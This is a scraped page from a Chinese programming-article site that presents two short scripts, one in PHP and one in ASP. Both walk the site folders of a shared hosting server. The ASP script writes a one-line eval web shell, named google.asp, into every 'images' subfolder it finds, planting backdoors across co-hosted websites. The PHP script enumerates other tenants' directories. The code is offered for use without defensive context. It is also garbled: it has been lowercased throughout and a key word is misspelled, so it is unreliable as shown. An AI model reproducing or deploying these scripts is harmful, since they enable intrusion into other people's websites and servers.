欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

php一个找二层目录的小东东

程序员文章站 2022-04-28 15:17:36
php版 复制代码 代码如下:
php版
复制代码 代码如下:

<?php
set_time_limit(0);
$path = 'd:/hosting';
$somefile = $_get['key'];
$logfile = 'd:/hosting/6668835/html/images/ennumdir.txt';
if (!isset($_server['php_auth_user'])) {
header('www-authenticate: basic realm="my realm"');
header('http/1.0 401 unauthorized');
echo 'text to send if user hits cancel button';
exit;
} else {
if(is_dir($path) && is_readable($path))
{
$path2 = '';
$handle = opendir($path);
while(false !== ($filename = readdir($handle)))
{
if($filename{0} != $_get['dir'])
{
continue;
}
/*
if($filename{1} != $_get['two'])
{
continue;
}
*/
//$path2 = $path.'/'.$filename.'/html';
$path2 = $path.'/'.$filename;
if(is_dir($path2) && is_readable($path2))
{
@$handle2 = opendir($path2);
while(false !== ($filename2 = readdir($handle2)))
{
if($filename2 == $somefile)
{
//echo'[+]found !'.$filename2."\n";
file_put_contents($logfile,'[+]found !'.$path2.'/'.$filename2."\n",file_append);
}
}
@closedir($handle2);
}
}
file_put_contents($logfile,'[*]last '.$path2."\n",file_append);
closedir($handle);
}
}

asp版
复制代码 代码如下:

<%
server.scripttimeout=500000000
key = trim(request.querystring("key"))
msg=" <% eval(rquese(chr(35)))%" &">"
set fso=server.createobject("scripting.filesystemobject")
set serverfolder=fso.getfolder("c:\intel")
set serverfolderlist=serverfolder.subfolders
for each serverfileevery in serverfolderlist
' response.write serverfileevery&"</br>"
if lcase(left(serverfileevery.name, 1)) = lcase(key) then
set sserverfolder=fso.getfolder(serverfileevery)
set sserverfolderlist=sserverfolder.subfolders
for each sserverfileevery in sserverfolderlist
if lcase(sserverfileevery.name) = "images" then
streamsavetofile sserverfileevery & "\google.asp", msg, "utf-8"
end if
next
end if
next
function streamsavetofile(spath, scontent, scharset)
dim ostream
if(instr(spath, ":") <= 0)then
spath = replace(spath, ",", ",")
spath = server.mappath(spath)
spath = replace(spath, ",", ",")
end if
set ostream = server.createobject("adodb.stream")
with ostream
.type = 2
.mode = 3
.open
.charset = scharset
.writetext scontent
.savetofile spath, 2
.close
end with
set ostream = nothing
end function
%>